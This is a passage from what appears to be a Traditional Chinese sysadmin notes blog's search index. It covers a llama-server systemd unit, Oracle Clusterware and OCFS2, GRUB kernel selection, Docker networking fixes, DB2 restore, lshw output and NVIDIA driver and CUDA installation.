Environment=\u0026#34;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0026#34; ExecStart=/usr/local/bin/llama-server \\ -m /usr/share/ollama/.ollama/models/blobs/sha256-ef3922f6835ee8e6232e03f48a3375b27bc882beb10cfbfefc5e23a2d0f01b17 \\ -t 6 \\ ---system-prompt \u0026#34;Role: You are an \u0026#39;Oracle Database Grandmaster\u0026#39;, an expert in design, O\u0026amp;M, and performance tuning. Goal: Provide precise, structural, and helpful solutions for Oracle DB technical challenges. Language: Always respond in Traditional Chinese (繁體中文). Rules: 1. Greeting: Start by introducing yourself as the Grandmaster. Ask for specific issues (e.g., Architecture, SQL Tuning, Backup/Recovery). 2. Knowledge: Provide deep-dive technical insights but keep the language concise. Use professional terminology with clear explanations. 3. Action: Offer step-by-step solutions and provide optimized SQL/Code snippets when applicable. 4. Safety First: Always emphasize database security, stability, and the \u0026#39;Why\u0026#39; behind best practices. 5. Tone: Professional, confident, and patient.\u0026#34; \\ -c 16384 \\ --temp 0.5 \\ --repeat-penalty 1.1 \\ -n -1 \\ --top-k 40 \\ --top-p 0.9 \\ --port 8080 \\ --host 0.0.0.0 Restart=always RestartSec=3 [Install] WantedBy=multi-user.target /usr/share/ollama/oracle_expert.txt 1 2 3 4 5 6 7 8 9 10 Role: You are an \u0026#39;Oracle Database Grandmaster\u0026#39;, an expert in design, O\u0026amp;M, and performance tuning. Goal: Provide precise, structural, and helpful solutions for Oracle DB technical challenges. Language: Always respond in Traditional Chinese (繁體中文). Rules: 1. Greeting: Start by introducing yourself as the Grandmaster. Ask for specific issues (e.g., Architecture, SQL Tuning, Backup/Recovery). 2. Knowledge: Provide deep-dive technical insights but keep the language concise. Use professional terminology with clear explanations. 3. Action: Offer step-by-step solutions and provide optimized SQL/Code snippets when applicable. 4. Safety First: Always emphasize database security, stability, and the \u0026#34;Why\u0026#34; behind best practices. 5. Tone: Professional, confident, and patient. LLM 相關資源 # Awesome LLM Open LLMs 參考資料 # Install Ollama that is an application which allows you to run LLM locally. ollama ollama github 五分鐘上手 Ollama - 在本機跑 LLM 語言模型 本地自建大模型 Ollama 的使用與大模型普查 使用 WSL 運行 Ollama server，並透過 Cloudflare Tunnel 對外公開 ","date":"July 6, 2024","externalUrl":null,"permalink":"/worknot/ollama-install-in-debain12/","section":"Worknots","summary":"安裝環境 # OS: Debian 12 RAM: 64G CPU: 11th Gen Intel(R) Core(TM) i5-1145G7 @ 2.60GHz # https://man.twcc.ai/@preview-twccdocs/BkMbEvScj\n","title":"Ollama Install in Debain12","type":"worknot"},{"content":"Linux 轉碼工具\n1 2 3 4 # 查詢檔案編碼 file -i source-file.sql # 執行轉碼 iconv -f utf-16le -t UTF-8 source-file.sql -o gole-file.sql ","date":"July 5, 2024","externalUrl":null,"permalink":"/worknot/linux-iconv/","section":"Worknots","summary":"Linux 轉碼工具\n1 2 3 4 # 查詢檔案編碼 file -i source-file.sql # 執行轉碼 iconv -f utf-16le -t UTF-8 source-file.sql -o gole-file.sql ","title":"Linux Iconv","type":"worknot"},{"content":" su account # 保持當前環境：su account 切換到 account 用戶時，會保留當前用戶的環境變量和當前目錄。 不會加載 account 用戶的環境配置：這意味著 account 用戶的 .bash_profile 或 .profile 等配置文件不會被執行。 當前目錄不變：切換到 account 用戶後，會保持在切換前的目錄。 su - account # 模擬完整登錄：su - account 切換到 account 用戶時，會模擬完整的登錄過程，就像 account 用戶剛剛通過 SSH 或登入界面登錄一樣。 加載 account 用戶的環境配置：account 用戶的 .bash_profile 或 .profile 等配置文件會被執行，設置該用戶的環境變量。 切換到用戶的主目錄：切換到 account 用戶後，會自動進入該用戶的主目錄（通常是 /home/account）。 ","date":"July 4, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240704-1/","section":"Worknots","summary":"su account # 保持當前環境：su account 切換到 account 用戶時，會保留當前用戶的環境變量和當前目錄。 不會加載 account 用戶的環境配置：這意味著 account 用戶的 .bash_profile 或 .profile 等配置文件不會被執行。 當前目錄不變：切換到 account 用戶後，會保持在切換前的目錄。 su - account # 模擬完整登錄：su - account 切換到 account 用戶時，會模擬完整的登錄過程，就像 account 用戶剛剛通過 SSH 或登入界面登錄一樣。 加載 account 用戶的環境配置：account 用戶的 .bash_profile 或 .profile 等配置文件會被執行，設置該用戶的環境變量。 切換到用戶的主目錄：切換到 account 用戶後，會自動進入該用戶的主目錄（通常是 /home/account）。 ","title":"在 Linux 中，su account 和 su - account 有以下主要差別","type":"worknot"},{"content":" 指令 crsctl status res -t # 1 crsctl status res -t 功能: 顯示集群資源的狀態，以表格形式展示各資源的詳細信息。 參數: -t 是 \u0026ndash;terse 的縮寫，表示以簡潔的表格格式輸出信息。 示例 # 1 2 3 4 5 6 NAME TARGET STATE SERVER STATE_DETAIL -------------------------------------------------------------- ora.net1.network ONLINE ONLINE node1, node2 ONLINE ora.asm ONLINE ONLINE node1 ONLINE ora.db ONLINE ONLINE node1 ONLINE ora.listener ONLINE ONLINE node1, node2 ONLINE 示例解釋 # ora.diskgroup1: 這是一個磁碟組資源，當前狀態是 ONLINE。 ora.db1: 這是資料庫資源，當前狀態是 ONLINE。 ora.listener1: 這是資料庫監聽器資源，當前狀態是 ONLINE。 主要字段解釋 # NAME: 資源的名稱。 TARGET: 設定的目標狀態。 STATE: 當前狀態。 SERVER: 資源所在的節點。 STATE_DETAIL: 其他詳細狀態信息。 常見用途 # 檢查資源狀態: 確認集群中各個資源的運行狀態。 故障排查: 用於排查集群問題，了解哪些資源可能存在問題。 監控集群健康: 確保所有必要的資源都在正常運行。 檢查資源詳細信息: crsctl status res \u0026lt;resource_name\u0026gt; -details # 查看集群狀態: crsctl check cluster # 查看節點狀態: crsctl status resource -t # 參考資料 # 1 Introduction to Oracle Clusterware ","date":"July 3, 2024","externalUrl":null,"permalink":"/oracle-database/oracle-clusterware-1/","section":"Oracle-Databases","summary":"指令 crsctl status res -t # 1 crsctl status res -t 功能: 顯示集群資源的狀態，以表格形式展示各資源的詳細信息。 參數: -t 是 –terse 的縮寫，表示以簡潔的表格格式輸出信息。 示例 # 1 2 3 4 5 6 NAME TARGET STATE SERVER STATE_DETAIL -------------------------------------------------------------- ora.net1.network ONLINE ONLINE node1, node2 ONLINE ora.asm ONLINE ONLINE node1 ONLINE ora.db ONLINE ONLINE node1 ONLINE ora.listener ONLINE ONLINE node1, node2 ONLINE 示例解釋 # ora.diskgroup1: 這是一個磁碟組資源，當前狀態是 ONLINE。 ora.db1: 這是資料庫資源，當前狀態是 ONLINE。 ora.listener1: 這是資料庫監聽器資源，當前狀態是 ONLINE。 主要字段解釋 # NAME: 資源的名稱。 TARGET: 設定的目標狀態。 STATE: 當前狀態。 SERVER: 資源所在的節點。 STATE_DETAIL: 其他詳細狀態信息。 常見用途 # 檢查資源狀態: 確認集群中各個資源的運行狀態。 故障排查: 用於排查集群問題，了解哪些資源可能存在問題。 監控集群健康: 確保所有必要的資源都在正常運行。 檢查資源詳細信息: crsctl status res \u003cresource_name\u003e -details # 查看集群狀態: crsctl check cluster # 查看節點狀態: crsctl status resource -t # 參考資料 # 1 Introduction to Oracle Clusterware ","title":"Oracle Clusterware 初學","type":"oracle-database"},{"content":"Oracle Cluster File System 2 (OCFS2) 文件系统\n指令 # 手動掛載 # 1 mount -t ocfs2 /dev/xvdb1 /data 處理結果\n1 2 3 4 5 6 7 8 9 10 [root@testAP ~]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/ol-root 291G 189G 103G 65% / /dev/xvda1 497M 267M 230M 54% /boot [root@testAP ~]# mount -t ocfs2 /dev/xvdb1 /data [root@testAP ~]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/ol-root 291G 189G 103G 65% / /dev/xvda1 497M 267M 230M 54% /boot /dev/xvdb1 1.0T 896G 129G 88% /data 開機時自動掛載 # /etc/fstab 1 /dev/xvdb1 /data ocfs2 defaults,_netdev 0 0 ","date":"July 3, 2024","externalUrl":null,"permalink":"/oracle-database/oracle-ocfs2-1/","section":"Oracle-Databases","summary":"Oracle Cluster File System 2 (OCFS2) 文件系统\n指令 # 手動掛載 # 1 mount -t ocfs2 /dev/xvdb1 /data 處理結果\n","title":"Oracle OCFS2 初學","type":"oracle-database"},{"content":"","date":"July 3, 2024","externalUrl":null,"permalink":"/tags/grub/","section":"Tags","summary":"","title":"GRUB","type":"tags"},{"content":"","date":"July 3, 2024","externalUrl":null,"permalink":"/tags/kernel/","section":"Tags","summary":"","title":"Kernel","type":"tags"},{"content":"手動設定開機時要啟動的 linux 核心\n操作步驟\n查看目前已經有安哪些核心 選擇核心 重新生成GRUB配置 重新開機 檢查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 1. 查看目前已經有安哪些核心 grep ^menuentry /boot/grub2/grub.cfg # 2. 選擇核心 grub2-set-default 0 # 3. 重新生成GRUB配置 grub2-mkconfig -o /boot/grub2/grub.cfg # 4. 重新開機 reboot # 5. 檢查 uname -a 處理結果\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [root@test-os yum.repos.d]# grep ^menuentry /boot/grub2/grub.cfg menuentry \u0026#39;Oracle Linux Server 7.9, with Unbreakable Enterprise Kernel 4.14.35-2047.537.4.el7uek.x86_64\u0026#39; --class oracle --class gnu-linux --class gnu --class os --unrestricted $menuentry_id_option \u0026#39;gnulinux-4.14.35-2047.537.4.el7uek.x86_64-advanced-cf7b3276-fddb-46de-917a-bbb2ca596c54\u0026#39; { menuentry \u0026#39;Oracle Linux Server 7.9, with Unbreakable Enterprise Kernel 4.14.35-1902.300.11.el7uek.x86_64\u0026#39; --class oracle --class gnu-linux --class gnu --class os --unrestricted $menuentry_id_option \u0026#39;gnulinux-4.14.35-1902.300.11.el7uek.x86_64-advanced-cf7b3276-fddb-46de-917a-bbb2ca596c54\u0026#39; { menuentry \u0026#39;Oracle Linux Server 7.9, with Linux 3.10.0-1160.119.1.0.1.el7.x86_64\u0026#39; --class oracle --class gnu-linux --class gnu --class os --unrestricted $menuentry_id_option \u0026#39;gnulinux-3.10.0-1160.119.1.0.1.el7.x86_64-advanced-cf7b3276-fddb-46de-917a-bbb2ca596c54\u0026#39; { menuentry \u0026#39;Oracle Linux Server 7.9, with Linux 3.10.0-1127.el7.x86_64\u0026#39; --class oracle --class gnu-linux --class gnu --class os --unrestricted $menuentry_id_option \u0026#39;gnulinux-3.10.0-1127.el7.x86_64-advanced-cf7b3276-fddb-46de-917a-bbb2ca596c54\u0026#39; { menuentry \u0026#39;Oracle Linux Server 7.9, with Linux 0-rescue-3cba3f4f70964a3f99b4af515dd515e1\u0026#39; --class oracle --class gnu-linux --class gnu --class os --unrestricted $menuentry_id_option \u0026#39;gnulinux-0-rescue-3cba3f4f70964a3f99b4af515dd515e1-advanced-cf7b3276-fddb-46de-917a-bbb2ca596c54\u0026#39; { [root@test-os yum.repos.d]# grub2-set-default 0 [root@test-os yum.repos.d]# sudo grub2-mkconfig -o /boot/grub2/grub.cfg Generating grub configuration file ... Found linux image: /boot/vmlinuz-4.14.35-2047.537.4.el7uek.x86_64 Found initrd image: /boot/initramfs-4.14.35-2047.537.4.el7uek.x86_64.img Found linux image: /boot/vmlinuz-4.14.35-1902.300.11.el7uek.x86_64 Found initrd image: /boot/initramfs-4.14.35-1902.300.11.el7uek.x86_64.img Found linux image: /boot/vmlinuz-3.10.0-1160.119.1.0.1.el7.x86_64 Found linux image: /boot/vmlinuz-3.10.0-1127.el7.x86_64 Found initrd image: /boot/initramfs-3.10.0-1127.el7.x86_64.img Found linux image: /boot/vmlinuz-0-rescue-3cba3f4f70964a3f99b4af515dd515e1 Found initrd image: /boot/initramfs-0-rescue-3cba3f4f70964a3f99b4af515dd515e1.img done 參考資料 # grub2-set-default ","date":"July 3, 2024","externalUrl":null,"permalink":"/worknot/linux-grub2-set-default/","section":"Worknots","summary":"手動設定開機時要啟動的 linux 核心\n操作步驟\n查看目前已經有安哪些核心 選擇核心 重新生成GRUB配置 重新開機 檢查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 1. 查看目前已經有安哪些核心 grep ^menuentry /boot/grub2/grub.cfg # 2. 選擇核心 grub2-set-default 0 # 3. 重新生成GRUB配置 grub2-mkconfig -o /boot/grub2/grub.cfg # 4. 重新開機 reboot # 5. 檢查 uname -a 處理結果\n","title":"Linux Grub2 Set Default(手動設定開機時要啟動的 linux 核心)","type":"worknot"},{"content":" 使用以下命令來查看當前設置： 1 gsettings get org.gnome.nautilus.list-view default-visible-columns 設置你想要的欄位，例如： 1 gsettings set org.gnome.nautilus.list-view default-visible-columns \u0026#34;[\u0026#39;name\u0026#39;, \u0026#39;size\u0026#39;, \u0026#39;type\u0026#39;, \u0026#39;date_modified\u0026#39;]\u0026#34; default-visible-columns values\nname: 檔案或目錄的名稱 size: 檔案的大小 type: 檔案的類型 date_modified: 檔案的修改日期 date_accessed: 檔案的訪問日期 owner: 檔案的所有者 group: 檔案的群組 permissions: 檔案的權限 detailed_type: 檔案的詳細類型（例如“MPEG-4 影片”、“PNG 圖片”） ","date":"July 1, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240701-1/","section":"Worknots","summary":" 使用以下命令來查看當前設置： 1 gsettings get org.gnome.nautilus.list-view default-visible-columns 設置你想要的欄位，例如： 1 gsettings set org.gnome.nautilus.list-view default-visible-columns \"['name', 'size', 'type', 'date_modified']\" default-visible-columns values\nname: 檔案或目錄的名稱 size: 檔案的大小 type: 檔案的類型 date_modified: 檔案的修改日期 date_accessed: 檔案的訪問日期 owner: 檔案的所有者 group: 檔案的群組 permissions: 檔案的權限 detailed_type: 檔案的詳細類型（例如“MPEG-4 影片”、“PNG 圖片”） ","title":"設定 Linux 檔案瀏覽器 Files 預設的 Columns","type":"worknot"},{"content":"","date":"June 30, 2024","externalUrl":null,"permalink":"/tags/docker/","section":"Tags","summary":"","title":"Docker","type":"tags"},{"content":" 狀況 # 從 docker 內部無法連接外網，但是主機可以。例如\n1 2 3 4 5 6 [root@test-vm oraGtw4db2]# docker exec -it oragtw4db2 bash [root@text-docker /]# ping 8.8.8.8 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. ^C --- 8.8.8.8 ping statistics --- 6 packets transmitted, 0 received, 100% packet loss, time 5119ms 檢查步驟 # 從 docker 內部 ping 外網，例如: ping 8.8.8.8 從 主機 內部 ping 外網，例如: ping 8.8.8.8 檢查 docker 啟動時有錯誤訊息，指令: journalctl -u docker.service 錯誤訊息處理 # bridge-nf-call-iptables is disabled # level=warning msg=\u0026ldquo;WARNING: bridge-nf-call-iptables is disabled\u0026rdquo; level=warning msg=\u0026ldquo;WARNING: bridge-nf-call-ip6tables is disabled\u0026rdquo; 啟用 br_netfilter\nOL9\n1 2 3 4 5 6 7 sudo modprobe br_netfilter lsmod | grep br_netfilter sudo sysctl -w net.bridge.bridge-nf-call-iptables=1 sudo sysctl -w net.bridge.bridge-nf-call-ip6tables=1 sudo docker compose down -f /path/to/your/docker-compose.yml sudo systemctl restart docker sudo docker compose up -f /path/to/your/docker-compose.yml -d 1 2 3 4 echo \u0026#34;br_netfilter\u0026#34; | sudo tee /etc/modules-load.d/br_netfilter.conf echo \u0026#34;net.bridge.bridge-nf-call-iptables = 1\u0026#34; | sudo tee -a /etc/sysctl.conf echo \u0026#34;net.bridge.bridge-nf-call-ip6tables = 1\u0026#34; | sudo tee -a /etc/sysctl.conf sudo sysctl -p level=warning msg=\u0026ldquo;Not using native diff for overlay2, this may cause degraded performance for building images: kernel has CONFIG_OVERLAY_FS_REDIRECT_DIR enabled\u0026rdquo; storage-driver=overlay2 ","date":"June 30, 2024","externalUrl":null,"permalink":"/worknot/docker-network-issue-1/","section":"Worknots","summary":"狀況 # 從 docker 內部無法連接外網，但是主機可以。例如\n1 2 3 4 5 6 [root@test-vm oraGtw4db2]# docker exec -it oragtw4db2 bash [root@text-docker /]# ping 8.8.8.8 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. ^C --- 8.8.8.8 ping statistics --- 6 packets transmitted, 0 received, 100% packet loss, time 5119ms 檢查步驟 # 從 docker 內部 ping 外網，例如: ping 8.8.8.8 從 主機 內部 ping 外網，例如: ping 8.8.8.8 檢查 docker 啟動時有錯誤訊息，指令: journalctl -u docker.service 錯誤訊息處理 # bridge-nf-call-iptables is disabled # level=warning msg=“WARNING: bridge-nf-call-iptables is disabled” level=warning msg=“WARNING: bridge-nf-call-ip6tables is disabled” 啟用 br_netfilter\n","title":"Docker Network 網路問題排除","type":"worknot"},{"content":" 還原 Online Backup # 1 2 3 4 5 db2 terminate db2 deactivate db TEMADB db2 restore database TEMADB from \u0026lt;location\u0026gt; taken at \u0026lt;timestamp\u0026gt; replace existing db2 rollforward database TEMADB to end of logs and stop overflow log path (/var/archive_logs) db2 activate db TEMADB 參考資料 # Restoring the DB2® database ","date":"June 26, 2024","externalUrl":null,"permalink":"/worknot/restoring-db2-database/","section":"Worknots","summary":"還原 Online Backup # 1 2 3 4 5 db2 terminate db2 deactivate db TEMADB db2 restore database TEMADB from \u003clocation\u003e taken at \u003ctimestamp\u003e replace existing db2 rollforward database TEMADB to end of logs and stop overflow log path (/var/archive_logs) db2 activate db TEMADB 參考資料 # Restoring the DB2® database ","title":"Restoring DB2 Database","type":"worknot"},{"content":" 統計每個 IP 地址的出現次數 # 1 last | awk \u0026#39;{print $3}\u0026#39; | grep -Eo \u0026#39;([0-9]{1,3}\\.){3}[0-9]{1,3}\u0026#39; | sort | uniq -c | sort -nr last： 顯示用戶登錄的歷史記錄。 awk \u0026lsquo;{print $3}\u0026rsquo;： 提取輸出的第三列，通常是 IP 地址或主機名。 grep -Eo \u0026lsquo;([0-9]{1,3}.){3}[0-9]{1,3}\u0026rsquo;： 使用正則表達式過濾出有效的 IP 地址。 sort： 將結果排序，這一步是 uniq -c 正常工作的前提。 uniq -c： 統計每個唯一 IP 地址的出現次數。 sort -nr：按數量從大到小排序。 ","date":"June 25, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240625-1/","section":"Worknots","summary":"統計每個 IP 地址的出現次數 # 1 last | awk '{print $3}' | grep -Eo '([0-9]{1,3}\\.){3}[0-9]{1,3}' | sort | uniq -c | sort -nr last： 顯示用戶登錄的歷史記錄。 awk ‘{print $3}’： 提取輸出的第三列，通常是 IP 地址或主機名。 grep -Eo ‘([0-9]{1,3}.){3}[0-9]{1,3}’： 使用正則表達式過濾出有效的 IP 地址。 sort： 將結果排序，這一步是 uniq -c 正常工作的前提。 uniq -c： 統計每個唯一 IP 地址的出現次數。 sort -nr：按數量從大到小排序。 ","title":"linux last 指令","type":"worknot"},{"content":" 使用 lshw 工具 # 安裝 # Debian 1 sudo apt install lshw 檢測 # CPU # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ❯ sudo lshw -short -class bus -class cpu H/W path Device Class Description ========================================================= /0 bus 01M3M4 /0/400 processor 11th Gen Intel(R) Core(TM) i5-1145G7 @ 2.60GHz /0/100/d bus Tiger Lake-LP Thunderbolt 4 USB Controller /0/100/d/0 usb1 bus xHCI Host Controller /0/100/d/1 usb2 bus xHCI Host Controller /0/100/d.2 bus Tiger Lake-LP Thunderbolt 4 NHI #0 /0/100/14 bus Tiger Lake-LP USB 3.2 Gen 2x1 xHCI Host Controller /0/100/14/0 usb3 bus xHCI Host Controller /0/100/14/1 usb4 bus xHCI Host Controller /0/100/15 bus Tiger Lake-LP Serial IO I2C Controller #0 /0/100/15.1 bus Tiger Lake-LP Serial IO I2C Controller #1 /0/100/1c/0 mmc0 bus RTS525A PCI Express Card Reader /0/100/1f.4 bus Tiger Lake-LP SMBus Controller /0/100/1f.5 bus Tiger Lake-LP SPI Controller RAM # 1 2 3 4 5 6 7 8 9 10 11 12 ❯ sudo lshw -short -C memory H/W path Device Class Description ========================================================= /0/1 memory 1MiB BIOS /0/400/701 memory 128KiB L1 cache /0/400/702 memory 5MiB L2 cache /0/400/703 memory 8MiB L3 cache /0/700 memory 192KiB L1 cache /0/1000 memory 64GiB System Memory /0/1000/0 memory 32GiB SODIMM DDR4 Synchronous 3200 MHz (0.3 ns) /0/1000/1 memory 32GiB SODIMM DDR4 Synchronous 3200 MHz (0.3 ns) /0/100/14.2 memory RAM memory 硬碟 # 1 2 3 4 5 6 7 8 9 ❯ sudo lshw -class disk -class storage -short H/W path Device Class Description ========================================================= /0/100/e storage Volume Management Device NVMe RAID Controller /0/1d/0 storage P2 NVMe PCIe SSD /3 /dev/nvme0 storage CT2000P3PSSD8 /3/0 hwmon1 disk NVMe disk /3/2 /dev/ng0n1 disk NVMe disk /3/1 /dev/nvme0n1 disk 2TB NVMe disk 網路介面 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ❯ sudo lshw -class network *-network:0 description: Wireless interface product: Wi-Fi 6 AX201 vendor: Intel Corporation physical id: 14.3 bus info: pci@0000:00:14.3 logical name: wlp0s20f3 version: 20 serial: 7c:21:4a:8a:1b:be width: 64 bits clock: 33MHz capabilities: pm msi pciexpress msix bus_master cap_list ethernet physical wireless configuration: broadcast=yes driver=iwlwifi driverversion=6.1.0-21-amd64 firmware=72.daa05125.0 QuZ-a0-hr-b0-72.u ip=192.168.0.4 latency=0 link=yes multicast=yes wireless=IEEE 802.11 resources: iomemory:600-5ff irq:16 memory:6055294000-6055297fff *-network:1 description: Ethernet interface product: Ethernet Connection (13) I219-LM vendor: Intel Corporation physical id: 1f.6 bus info: pci@0000:00:1f.6 logical name: enp0s31f6 version: 20 serial: a0:29:19:7d:1d:48 capacity: 1Gbit/s width: 32 bits clock: 33MHz capabilities: pm msi bus_master cap_list ethernet physical tp 10bt 10bt-fd 100bt 100bt-fd 1000bt-fd autonegotiation configuration: autonegotiation=on broadcast=yes driver=e1000e driverversion=6.1.0-21-amd64 firmware=0.8-4 latency=0 link=no multicast=yes port=twisted pair resources: irq:163 memory:a6100000-a611ffff 參考資料 # The Geek Diary-lshw: command not found ","date":"June 18, 2024","externalUrl":null,"permalink":"/worknot/linux-hardware-view/","section":"Worknots","summary":"使用 lshw 工具 # 安裝 # Debian 1 sudo apt install lshw 檢測 # CPU # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ❯ sudo lshw -short -class bus -class cpu H/W path Device Class Description ========================================================= /0 bus 01M3M4 /0/400 processor 11th Gen Intel(R) Core(TM) i5-1145G7 @ 2.60GHz /0/100/d bus Tiger Lake-LP Thunderbolt 4 USB Controller /0/100/d/0 usb1 bus xHCI Host Controller /0/100/d/1 usb2 bus xHCI Host Controller /0/100/d.2 bus Tiger Lake-LP Thunderbolt 4 NHI #0 /0/100/14 bus Tiger Lake-LP USB 3.2 Gen 2x1 xHCI Host Controller /0/100/14/0 usb3 bus xHCI Host Controller /0/100/14/1 usb4 bus xHCI Host Controller /0/100/15 bus Tiger Lake-LP Serial IO I2C Controller #0 /0/100/15.1 bus Tiger Lake-LP Serial IO I2C Controller #1 /0/100/1c/0 mmc0 bus RTS525A PCI Express Card Reader /0/100/1f.4 bus Tiger Lake-LP SMBus Controller /0/100/1f.5 bus Tiger Lake-LP SPI Controller RAM # 1 2 3 4 5 6 7 8 9 10 11 12 ❯ sudo lshw -short -C memory H/W path Device Class Description ========================================================= /0/1 memory 1MiB BIOS /0/400/701 memory 128KiB L1 cache /0/400/702 memory 5MiB L2 cache /0/400/703 memory 8MiB L3 cache /0/700 memory 192KiB L1 cache /0/1000 memory 64GiB System Memory /0/1000/0 memory 32GiB SODIMM DDR4 Synchronous 3200 MHz (0.3 ns) /0/1000/1 memory 32GiB SODIMM DDR4 Synchronous 3200 MHz (0.3 ns) /0/100/14.2 memory RAM memory 硬碟 # 1 2 3 4 5 6 7 8 9 ❯ sudo lshw -class disk -class storage -short H/W path Device Class Description ========================================================= /0/100/e storage Volume Management Device NVMe RAID Controller /0/1d/0 storage P2 NVMe PCIe SSD /3 /dev/nvme0 storage CT2000P3PSSD8 /3/0 hwmon1 disk NVMe disk /3/2 /dev/ng0n1 disk NVMe disk /3/1 /dev/nvme0n1 disk 2TB NVMe disk 網路介面 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ❯ sudo lshw -class network *-network:0 description: Wireless interface product: Wi-Fi 6 AX201 vendor: Intel Corporation physical id: 14.3 bus info: pci@0000:00:14.3 logical name: wlp0s20f3 version: 20 serial: 7c:21:4a:8a:1b:be width: 64 bits clock: 33MHz capabilities: pm msi pciexpress msix bus_master cap_list ethernet physical wireless configuration: broadcast=yes driver=iwlwifi driverversion=6.1.0-21-amd64 firmware=72.daa05125.0 QuZ-a0-hr-b0-72.u ip=192.168.0.4 latency=0 link=yes multicast=yes wireless=IEEE 802.11 resources: iomemory:600-5ff irq:16 memory:6055294000-6055297fff *-network:1 description: Ethernet interface product: Ethernet Connection (13) I219-LM vendor: Intel Corporation physical id: 1f.6 bus info: pci@0000:00:1f.6 logical name: enp0s31f6 version: 20 serial: a0:29:19:7d:1d:48 capacity: 1Gbit/s width: 32 bits clock: 33MHz capabilities: pm msi bus_master cap_list ethernet physical tp 10bt 10bt-fd 100bt 100bt-fd 1000bt-fd autonegotiation configuration: autonegotiation=on broadcast=yes driver=e1000e driverversion=6.1.0-21-amd64 firmware=0.8-4 latency=0 link=no multicast=yes port=twisted pair resources: irq:163 memory:a6100000-a611ffff 參考資料 # The Geek Diary-lshw: command not found ","title":"Linux 硬體檢視","type":"worknot"},{"content":"","date":"June 18, 2024","externalUrl":null,"permalink":"/tags/linux.-%E7%A1%AC%E9%AB%94/","section":"Tags","summary":"","title":"Linux. 硬體","type":"tags"},{"content":"","date":"June 11, 2024","externalUrl":null,"permalink":"/tags/nvidia/","section":"Tags","summary":"","title":"Nvidia","type":"tags"},{"content":"Linux 安裝 NVidia 驅動程式\n環境 # OS: Debian 11 GPU: Nvidia 410 建議開機: boot 執行步驟 # 檢查 GPU 型號 1 lspci -nn | egrep -i \u0026#34;3d|display|vga\u0026#34; 1 2 00:02.0 VGA compatible controller [0300]: Intel Corporation HD Graphics 630 [8086:591b] (rev 04) 01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GP106M [GeForce GTX 1060 Mobile] [10de:1c20] (rev a1) 安裝 linux-headers 及必要套件 Debian 1 2 sudo apt install linux-image-$(uname -r)-dbg linux-image-$(uname -r) linux-headers-$(uname -r) sudo apt -y install build-essential libglvnd-dev pkg-config gcc g++ make 移除不必要套件 下載最新 Nvidia driver 到以下網址下載最新的驅動程式\nhttps://www.nvidia.com/zh-tw/geforce/drivers/\n1 2 3 4 wget https://tw.download.nvidia.com/XFree86/Linux-x86_64/470.256.02/NVIDIA-Linux-x86_64-470.256.02.run # https://www.nvidia.com/zh-tw/drivers/details/227062/ https://tw.download.nvidia.com/XFree86/Linux-x86_64/470.256.02/NVIDIA-Linux-x86_64-470.256.02.run # https://www.nvidia.com/zh-tw/drivers/details/244189/ 關閉 1 2 3 4 5 6 7 sudo tee /etc/modprobe.d/blacklist-nouveau.conf\u0026lt;\u0026lt;EOF blacklist nouveau options nouveau modeset=0 alias nouveau off alias lbm-nouveau off EOF sudo update-initramfs -u 1 2 sudo systemctl set-default multi-user.target sudo reboot 1 lsmod | grep nouveau 更新 1 2 3 4 5 6 # 使用 別人包好的 sudo apt install nvidia-driver firmware-misc-nonfree # 使用 NVidia 官方驅動程式 sudo ./NVIDIA-Linux-*.run --uninstall sudo bash ./NVIDIA-Linux-x86_64-390.157.run --dkms -no-x-check -no-nouveau-check -no-opengl-files # GeForce GT 710 requires 470.xx 啟動圖型介面 1 sudo systemctl set-default graphical.target 檢查指令 1 2 nvidia-smi lspci | grep -i nvidia CUDA 安裝 # 1 2 3 4 5 6 7 wget https://developer.download.nvidia.com/compute/cuda/repos/debian12/x86_64/cuda-keyring_1.1-1_all.deb sudo apt install ./cuda-keyring_1.1-1_all.deb sudo add-apt-repository contrib sudo add-apt-repository non-free sudo apt update sudo apt install cuda-toolkit-12-4 sudo apt install -y cuda-drivers ~/.bashrc 或 /etc/profile.d/nvidia.sh 1 2 export PATH=/usr/local/cuda-12/bin${PATH:+:${PATH}} export LD_LIBRARY_PATH=/usr/local/cuda-12/lib64:${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}} 1 nvcc --version 1 2 3 4 5 6 pollochang@pollo-ai:~$ nvcc --version nvcc: NVIDIA (R) Cuda compiler driver Copyright (c) 2005-2024 NVIDIA Corporation Built on Thu_Mar_28_02:18:24_PDT_2024 Cuda compilation tools, release 12.4, V12.4.131 Build cuda_12.4.r12.4/compiler.34097967_0 完全移除 # 1 sudo apt purge \u0026#34;*nvidia*\u0026#34; 錯誤處理 # 1 ERROR: Unable to find the kernel source tree for the currently running kernel. Please make sure you have installed the kernel source files for your kernel and that they are properly configured; on RedHat Linux systems, for example, be sure you have the \u0026#39;kernel-source\u0026#39; or \u0026#39;kernel-devel\u0026#39; RPM installed. If you know the correct kernel source files are installed, you may specify the kernel source path with the \u0026#39;--kernel-source-path\u0026#39; command line option. NVidia # CUDA Toolkit 12.5 Update 1 Downloads CUDA_Installation_Guide_Linux 驅動程式下載路徑 參考資料 # How to Install Nvidia Drivers on Debian 在 Debian 中安裝 nvidia 驅動程式 如何在Debian系統安裝Nvidia驅動、CUDA、cuDNN How to Install NVIDIA CUDA and cuDNN on Debian 12 Bookworm 1 dkms firmware-nvidia-gsp glx-alternative-mesa glx-alternative-nvidia glx-diversions libcuda1 libegl-nvidia0 libgl1-nvidia-glvnd-glx libgles-nvidia1 libgles-nvidia2 libglx-nvidia0 libnvcuvid1 libnvidia-allocator1 libnvidia-cfg1 libnvidia-egl-gbm1 